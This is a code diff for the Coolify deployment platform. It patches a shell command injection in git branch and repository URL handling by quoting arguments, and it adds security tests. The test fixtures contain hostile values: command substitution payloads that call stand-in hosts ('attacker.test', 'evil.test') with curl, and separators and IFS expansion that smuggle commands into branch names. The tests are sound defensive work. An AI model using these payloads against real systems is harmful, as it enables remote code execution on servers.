diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index c8fc20a69..a1478aaff 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2248,11 +2248,22 @@ private function set_coolify_variables() } } if (isset($this->application->git_branch)) { - $this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} "; + $this->coolify_variables .= 'COOLIFY_BRANCH='.escapeShellValue($this->application->git_branch).' '; } $this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} "; } + private function gitLsRemoteCommand(string $lsRemoteRef, ?string $identityFile = null): string + { + $sshCommand = "ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"; + + if ($identityFile !== null) { + $sshCommand .= " -i {$identityFile}"; + } + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + } + private function check_git_if_build_needed() { if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { @@ -2298,7 +2309,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef, '/root/.ssh/id_rsa')), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2306,7 +2317,7 @@ private function check_git_if_build_needed() } else { $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef)), 'hidden' => true, 'save' => 'git_commit_sha', ], diff --git a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php index d8bb9b625..a90723633 100644 --- a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php +++ b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php @@ -7,6 +7,10 @@ { public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + // Fillfactor < 100 leaves free space per page so Postgres can do HOT // (Heap-Only Tuple) in-place updates instead of allocating a new tuple // elsewhere. Coolify's hot-update tables churn rows on every Sentinel @@ -40,6 +44,10 @@ public function up(): void public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE services RESET (fillfactor)'); diff --git a/tests/Feature/Api/ApplicationGitBranchSecurityTest.php b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php new file mode 100644 index 000000000..58bd6b5c0 --- /dev/null +++ b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php @@ -0,0 +1,89 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'git-branch-security-test-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + $this->environment = $this->project->environments()->first(); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_branch' => 'main', + ]); +}); + +function gitBranchApiHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} git_branch security', function () { + test('rejects backtick command substitution branch payloads', function () { + $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``'; + + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => $payload, + ]); + + $response->assertUnprocessable() + ->assertJsonValidationErrors('git_branch'); + + expect($this->application->refresh()->git_branch)->toBe('main'); + }); + + test('accepts safe branch names', function () { + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => 'feature/safe-branch_1.2.3', + ]); + + $response->assertOk(); + + expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3'); + }); +}); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index 558a8bd4f..b327184a4 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -1,6 +1,8 @@ $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'backtick command substitution' => 'main`id`', + 'dollar command substitution' => 'main$(id)', + 'semicolon command separator' => 'main;id', + 'ifs shell expansion' => 'main${IFS}id', + 'space separator' => 'main branch', + ]); + + test('git_branch validation allows safe branch names', function (string $branch) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'main', + 'feature/safe-branch', + 'release_2026.06', + ]); + test('dockerfile_location validation rejects shell metacharacters', function () { $rules = sharedDataApplications(); @@ -184,6 +218,68 @@ }); }); +describe('deployment git command escaping', function () { + test('ls-remote command shell-quotes repository and ref arguments', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + foreach ([ + 'customPort' => 22, + 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('gitLsRemoteCommand'); + $method->setAccessible(true); + + $command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa'); + + expect($command) + ->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") + ->toContain('-i /root/.ssh/id_rsa') + ->not->toContain('repo.git; curl'); + }); + + test('coolify branch shell assignment is quoted', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + $application = new Application; + $application->uuid = 'app-uuid'; + $application->git_branch = 'main`id`'; + $application->fqdn = null; + $application->compose_parsing_version = '3'; + + $settings = new ApplicationSetting; + $settings->include_source_commit_in_build = false; + $application->setRelation('settings', $settings); + + foreach ([ + 'application' => $application, + 'commit' => 'HEAD', + 'pull_request_id' => 0, + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('set_coolify_variables'); + $method->setAccessible(true); + $method->invoke($instance); + + $coolifyVariables = $job->getProperty('coolify_variables'); + $coolifyVariables->setAccessible(true); + + expect($coolifyVariables->getValue($instance)) + ->toContain("COOLIFY_BRANCH='main`id`' ") + ->toContain('COOLIFY_RESOURCE_UUID=app-uuid '); + }); +}); + describe('sharedDataApplications rules survive array_merge in controller', function () { test('docker_compose_location safe regex is not overridden by local rules', function () { $sharedRules = sharedDataApplications();